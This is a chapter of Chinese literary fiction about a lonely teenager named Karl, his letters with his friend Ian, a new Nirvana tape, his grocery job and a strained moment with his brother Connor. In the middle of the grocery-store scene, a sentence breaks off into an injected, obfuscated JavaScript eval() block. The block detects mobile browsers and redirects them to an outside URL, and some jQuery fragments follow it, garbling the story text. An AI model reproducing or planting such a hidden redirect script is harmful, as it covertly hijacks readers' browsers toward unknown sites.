日子一天一天过，没什么变化。
卡尔每天早上起来，给两个小的弄吃的，然后去上学。放学后去杂货店打工，搬货，上货，收银。天黑了回家，做饭，洗碗，上楼，躺下来，看天花板那道裂缝。
周三的时候，他去了趟邮局。
柜台后面还是那个胖女人，在看杂志。卡尔买了三张邮票，三十二美分一张，一共九十六美分。他把钱数出来，一张一张摆在柜台上。胖女人接过钱，撕了三张邮票给他，又低头继续看杂志。
卡尔站在邮局门口，把邮票折好，放进口袋里。三张。够寄三次。加上之前剩的，还能寄五六次。撑到肖恩回来应该没问题。肖恩每次回来都会塞钱，不多，但肯定够买几张邮票。
他把手插进口袋，往回走。
街上的树叶子又黄了一些，风一吹就掉几片，落在地上，被人踩碎了，粘在路面上，印出深色的痕迹。那家小餐馆门口的老头少了两个，只剩一个，坐在那儿喝咖啡，看见卡尔路过，朝他举了举杯子。卡尔点了点头。
走到家门口的时候，他看见信箱里插着一个信封。
白色的，折了一下才塞进去，露出一截。他抽出来，看见上面工工整整的字，是伊恩的。
他没进屋，站在门口就拆了。
信纸折成三折，打开来写了大半页。字还是一笔一划的，像书上印的。
“卡尔：
信收到了。我这边没什么事。树叶黄了很多，掉了一地，扫树叶的人每天来，扫完第二天又掉。
学校还是那样。克里斯还是话多，跟我讲他周末去看了电影，什么片子我忘了。他问我周末干嘛了，我说没干嘛。他说你怎么老没干嘛。我说就是没干嘛。
你那边冷了吗？我这边早上出门要穿外套了。我妈还在医院，我去看过她一次。我爸又出差了。我哥还是那样。
你那个随身听，修好了吗？要是修不好就别修了，用新的那个。要是修好了把我送的那个卖了，买你喜欢的磁带。
——伊恩”
卡尔看了两遍。
他把信纸折好，放进口袋里，和邮票放在一起。然后推门进去。
屋里还是那股味道。他爸不在沙发上，电视关着。茶几上那几个空罐子还在，旁边多了一个杯子，杯底剩了一点水。
他上楼，走到房间门口。门开着，康纳不在，下铺的被子叠了——不是那种整整齐齐的叠法，是团成一团塞在枕头底下，把枕头拱起来一块。床单倒是拉平了，边角塞进床垫底下，绷得紧紧的。
卡尔看了一会儿，爬上上铺，躺下来。
他把伊恩的信从口袋里掏出来，又看了一遍。
“他问我周末干嘛了，我说没干嘛。他说你怎么老没干嘛。我说就是没干嘛。”
他看着这行字，看了一会儿。
伊恩写了克里斯。写了克里斯问他周末干嘛了，写了他说没干嘛。写这些的时候，伊恩的笔迹和平时一样，一笔一划的，看不出什么情绪。但卡尔觉得，伊恩写这几行字的时候，可能坐在书桌前想了很久。因为他平时不写这些。他平时只写“树叶黄了”“我哥还是那样”“你那边怎么样”。
这次他写了克里斯。
卡尔把信放在枕头底下，和上次那封信放在一起。然后他翻了个身，把脸对着墙。
墙上的划痕还在。一道深一道浅，并排着。
他想起康纳小时候的样子。那时候康纳还没跟他翻脸，两个人睡一个房间，还会一起玩。康纳拿到什么都会跟他说，在学校跟谁打架了，老师骂谁了，隔壁班有个女生头发特别长。他说的时候，卡尔听着。和伊恩听卡尔说话一样。
后来不知道什么时候，康纳不说了。
卡尔不知道是为什么。也许是因为他爸喝得越来越多，也许是因为他妈越来越累，也许是因为大哥走了之后家里少了个人，空出一块，谁也不知道怎么填。也许什么都没发生
就是长大了，不想说了。
他摸了摸那道划痕。手指顺着凹槽滑过去，到底，又滑回来。
楼下传来开门的声音。他爸回来了。脚步声很重，拖着地走，经过走廊，进了厨房。冰箱门开了一下，关了一下。啤酒罐打开的声音，“啪”的一声，很脆。然后脚步声又拖着回了客厅，沙发响了一声，电视开了。
卡尔躺着没动。
他想着伊恩信里写的那些话。想着克里斯问伊恩周末干嘛了，伊恩说没干嘛。克里斯说你怎么老没干嘛。
他想着如果自己在伊恩旁边，会说什么。也许会问他在看什么书。也许什么都不说，就那么坐着。和以前一样。但以前是在夏令营，在树干上，在湖边。现在伊恩在学校，在食堂，在白天。克里斯坐在他旁边，话多，会问他问题。伊恩回答，或者不回答。克里斯会继续问。
卡尔翻了个身，看着天花板。那道裂缝还在，歪歪扭扭的，从窗户那边过来，快到床板了。
他想着，伊恩下次来信的时候，会不会再写克里斯。会写他们又一起吃饭了，又聊了什么。会写克里斯说了什么好笑的事，伊恩没笑，但听着。和听卡尔说话一样。
他想着这些，觉得胸口又堵了。不是生气，也不是难过。就是堵着。和上次一样。
他坐起来，从上铺爬下来，走到书桌前。书桌是旧的，桌面上有几道刻痕，不知道谁刻的。他拉开抽屉，拿出一个本子——不是画画那个，是另一个，学校发的，没用完。他翻到空白页，拿起笔。
笔是圆珠笔，蓝色的，写出来的字歪歪扭扭的。
他写：
“伊恩：
信收到了。你那边树叶都黄了，我这边也是。早上出门要穿外套了，有时候风大，吹得头疼。
我这边没什么事。康纳又停学了，蹲门口划地，不知道划什么。我爸还是那样，喝酒，看电视。我妈上夜班，碰不上。杂货店的麦奇让我问你好。他说下回带来坐坐。我说好。
你那个朋友，克里斯，他话多挺好的。你话少，有人说话不冷场。
随身听没修，用新的那个了。挺好的，声音清楚。就是没磁带，明天去买。涅槃的。
你回信的时候多写点。写什么都行。你那边的事我都想知道。
——卡尔”
他写完看了一遍。字还是歪歪扭扭的，挤在一起。他把信纸折好，放进信封里，在信封上写上伊恩的地址。字写得很慢，一笔一划，怕写错。
写完了，他把信放在枕头底下，和伊恩的信放在一起。
然后他躺下来，看着天花板。
楼下电视还开着，声音很小，听不清在放什么。他爸偶尔咳一声，咳完又没声了。
他想着伊恩收到信的时候。应该下周三或者下下周三。午休的时候，伊恩会去收发室拿信。他会把信拆开，站在走廊里看，或者拿到食堂看。看完放进口袋里，晚上带回家，藏在抽屉里。
他想着伊恩看信的时候是什么表情。会不会也像他一样，看两遍。会不会也把信折好，放进口袋里，和别的东西放在一起。
他翻了个身，把被子拉过来盖住肩膀。
明天去买磁带。涅槃的。新随身听还没听过歌，只听过齿轮转动的声音。他想听听看，那个声音和旧的有什么不一样。
他又想起伊恩把随身听放在水泥管子上的样子。没看他，看着河。河水流着，他坐在旁边，也不看他。他们就这么坐着，谁也没说话。
那个随身听是新的，银色的，按键按下去弹回来，脆脆的响。伊恩攒钱买的。不知道攒了多久。
卡尔把手伸到枕头底下，摸了摸那封信。信封有点硬，边角扎手。他摸了一会儿，把手抽出来，放在身侧。
天花板上那道裂缝在黑暗里看不清。但他知道它在。他看了十几年了。
他闭上眼睛。
窗外有车经过，灯光从窗户透进来，在墙上滑过去，又暗了。
---
第二天放学后，卡尔没直接去杂货店。
他绕了一段路，去了镇上那家唱片店。店在一条背街上，门口堆着几个破纸箱，招牌上的字掉了一半，只剩“唱片”两个字还完整。他推门进去，门上的铃铛响了一声。
店里很暗，几盏昏黄的灯照着货架。老板还是那个四十多岁的男人，戴着眼镜，坐在柜台后面看杂志。他抬头看了卡尔一眼，点了点头。
“来了？”
卡尔点头，往里面走。
货架上摆的还是那些老唱片，乡村音乐，流行金曲，他没兴趣。走到最里面那个角落，涅槃那一排还在。他把手指从磁带脊背上划过去，停在那盘他听过很多遍的专辑上。
《Nevermind》。
封面是一个婴儿在水底游向一张钞票。他看过很多次，每次看都觉得那个婴儿离钞票越来越近，但永远够不到。
他把磁带拿起来，翻到背面看曲目。其实不用看，他都知道里面有哪些歌。但他还是翻过来看了，像是在确认什么。
“涅槃的？”老板不知道什么时候站到了他旁边。
卡尔点头。
老板看了一眼他手里的磁带。“这盘你买过吧？上次来好像也拿的这个。”
“听坏了。”
老板笑了一下。“听坏了再买，那你是真喜欢。”
卡尔没说话。
老板靠在货架上，从口袋里掏出烟，点了一根。烟雾在昏暗的灯光下散开，变成灰蓝色的一团。
“你喜欢他们什么？”老板问。
卡尔想了很久。“不知道。就是听着觉得还行。”
老板看了他一眼，没再问。他抽完那根烟，把烟头掐灭在货架的铁架子上，拍了拍手。
“行。要这盘？”
“嗯。”
“三块九毛九。”
卡尔从口袋里掏出钱，数了四张一块的，放在柜台上。老板找了零，把磁带装进一个小塑料袋里，递给他。
卡尔接过来，把磁带放进口袋里。口袋鼓起来一块，他用手按了按。
“下次有新到的，我给你留着。”老板说。
卡尔点头，推门出去。铃铛又响了一声。
---
到杂货店的时候，麦奇正在搬货。看见卡尔，他直起腰，指了指柜台后面的架子。
“汽水到了，放那边。”
卡尔放下书包，开始干活。他把箱子拆开，一瓶一瓶往架子上摆。汽水瓶是玻璃的，拿在手里凉凉的，表面有一层水雾。他摆得很慢，把标签都转到正面朝外。
麦奇在旁边清点货单，偶尔抬头看他一眼。
“你那个朋友，”麦奇忽然说，“最近没来？”
卡尔的手停了一下。“没有。”
“他在学校忙吧。”麦奇说，“这个年纪，功课多。”
卡尔没说话，继续摆汽水。
麦奇把货单放在柜台上，靠在墙边。“他上次来的时候，我看他不太爱说话。跟你一样。”
“他话少。”卡尔说。
“话少好。”麦奇说，“话少的人心里有事，但不惹事。”
卡尔把最后一瓶汽水放好，把空箱子叠起来搬到后门。回来的时候，麦奇已经坐到柜台后面了，戴上老花镜，开始算账。
卡尔站在柜台旁边，把手伸进口袋，摸到那盘磁带。塑料包装的边角有点尖，扎手。
他拿了一块抹布，开始擦柜台。抹布是湿的，在玻璃面上拖出一道水痕，很快就干了。他擦得很慢，把边边角角都擦到。
柜台玻璃下面压着几张照片。有一张是麦奇年轻时候的，站在这个店门口，头发还是黑的，腰板挺直。旁边站着一个女人，笑得很开心。卡尔不认识那个女人。
他擦到那张照片上面的时候，停了一下，看了看麦奇年轻时候的脸。麦奇现在头发白了，腰也没那么直了，每天坐在柜台后面算账、看报纸、抽烟。他年轻时候想过自己以后会变成这样吗？
卡尔不知道。
他继续擦柜台。擦到边角的时候，抹布卡了一下，他用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383610|200164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手抠了抠，把灰抠出来。
门口进来一个人。是街对面的老太太，又来买牛奶和面包。卡尔放下抹布，回到收银机后面，给她结了账。老太太付了钱，看了他一眼，没说话，走了。
店里又安静下来。
卡尔站在收银机后面，看着门口。阳光从门上的玻璃照进来，在地上投出一块光斑。光斑里有灰尘在飘，慢慢悠悠的，不知道要飘到哪里去。
他想起今天在唱片店，老板问他喜欢涅槃什么。他说不知道。他确实不知道。就是听着的时候，觉得有人跟他一样。一样什么，他也说不上来。就是那种感觉——有人也这么闷，也这么不知道日子过下去有什么意思，也这么躺着看天花板，看裂缝，看它什么时候会塌下来。
但那盘磁带听坏了，他再买一盘。听坏了再买。他不知道这算什么。也许什么都不算。就是喜欢。就是听着的时候，没那么闷。
---
傍晚下班，天已经暗了。路灯还没亮全，街上灰蒙蒙的。
卡尔往回走，经过那条街口的时候，往流浪汉常坐的那个位置看了一眼。今天那里没人。地上只有一个纸板，被风吹翻了，扣在地上。纸板背面是空白的，什么都没有。
他站了一下，然后继续走。
走到家门口的时候，他看见康纳蹲在台阶上，手里拿着一个东西。走近了才看清，是那个摔坏的随身听。
康纳听见脚步声，抬头看了他一眼，又把头低下去。他把随身听翻过来翻过去，用手指按那些按键，按不动，又用手指抠电池盖。
“你拿这个干嘛？”卡尔问。
康纳没抬头。“看看。”
卡尔站在他旁边，没说话。
康纳把电池盖抠开，看了看里面，又合上。他把随身听举起来，对着路灯看。胶带缠着的地方透出光来，能看到里面的裂缝。
“这玩意儿还能响吗？”康纳问。
“不知道。摔坏了。”
康纳把随身听放下来，放在膝盖上。他用指甲抠了抠胶带的边角，胶带翘起来一点，他又按回去。
“你那天晚上，”康纳忽然说，“打我那拳，挺重的。”
卡尔愣了一下。他想起那天晚上，康纳把他的随身听摔在地上，他打了康纳一拳。嘴角破了，尝到血的味道。康纳的鼻子在流血，滴在地板上。
“你先摔的。”卡尔说。
康纳没说话。他把随身听放在台阶上，站起来，拍了拍裤子。他比卡尔矮一点，瘦一点，站在那儿，手插在口袋里，看着街对面。
“那个随身听，”他说，“是你那个朋友送的吧。”
卡尔没说话。
康纳等了几秒，见他不回答，转身推门进去了。门没关严，留了一条缝。屋里的灯光从门缝里漏出来，落在地上，窄窄的一道。
卡尔站在门口，看着台阶上那个随身听。外壳上缠着胶带，电池盖有点翘，关不严。他拿起来，在手里掂了掂，很轻。按键按不下去，齿轮转不动。这玩意儿废了。
他把新买的磁带从口袋里掏出来，和随身听放在一起，看了看。一个旧的，摔坏了，缠着胶带。一个崭新的，塑料纸还没撕干净。两样东西并排放在手心里，一个轻，一个重。
他把新磁带放回口袋，把旧随身听也揣进口袋，推门进去。
---
晚上，卡尔躺在床上，把那盘新磁带拆开。塑料包装撕开的时候发出刺啦一声，在安静的房间里很响。他把磁带拿出来，放进新随身听里，戴上耳机。
按键按下去，“咔哒”一声，齿轮开始转。然后音乐响起来。
吉他声，很重。鼓点一下一下的。科特·柯本的声音从耳机里传出来，沙哑的，像是在喊，又像是在哭。
他把声音开大。开到能盖住楼下电视的声音，盖住他爸偶尔的咳嗽声，盖住康纳翻身的窸窣声。
只有音乐。
他闭上眼睛。
天花板上那道裂缝在黑暗里看不清。但他知道它在。
他听着那些歌，一首一首放。有些歌他听过很多遍，每一个音符都知道下一个是什么。有些歌没那么熟，听着听着会走神，想别的事。
想伊恩。想他信里写的那些话。想他说克里斯话多。想他说“我妈还在医院”。想他说“我哥还是那样”。
想着想着，音乐还在放，但他没在听了。他睁着眼睛，看着头顶那团黑。
他又想起康纳刚才说的话。“是你那个朋友送的吧。”康纳知道。康纳什么都知道。他知道那个随身听是伊恩送的，知道伊恩来过，知道伊恩跟卡尔不一样。他说“他跟我们不一样”的时候，卡尔没接话。现在他又提起来。
卡尔不知道康纳想说什么。也许什么都不想说。就是提一下。和以前一样，康纳说什么，卡尔听着。后来康纳不说了，现在他又说了。但说的都是这些。
他翻了个身，把脸对着墙。
墙上的划痕还在。他伸出手，摸了一下。手指顺着凹槽滑过去，到底，又滑回来。
楼下，电视还开着。他爸还在沙发上。
那首歌还在脑子里转，越来越模糊。
他想着，伊恩下次来信的时候，会写什么。会写克里斯又说了什么吗？会写他去医院看妈妈了吗？会写他哥又让他做什么了吗？
他不知道。
他只知道信会来。他会看很多遍，然后回信。回信的时候写不出什么，他这边没什么可写的。河边，杂货店，康纳又停学了。就这些。没什么可写的。
但是他会硬写。至少多写一些。
他想着明天把新磁带放进随身听里，听听看。新的和旧的有什么不一样。也许听起来都一样。也许不一样。他也不知道。
他把被子拉过来盖住肩膀。被子短了，他缩了缩腿，把脚也盖住。
那首歌还在脑子里转。越来越远，越来越听不清。
他闭上眼睛。
窗外有车经过，灯光从窗户透进来，在墙上滑过去，又暗了。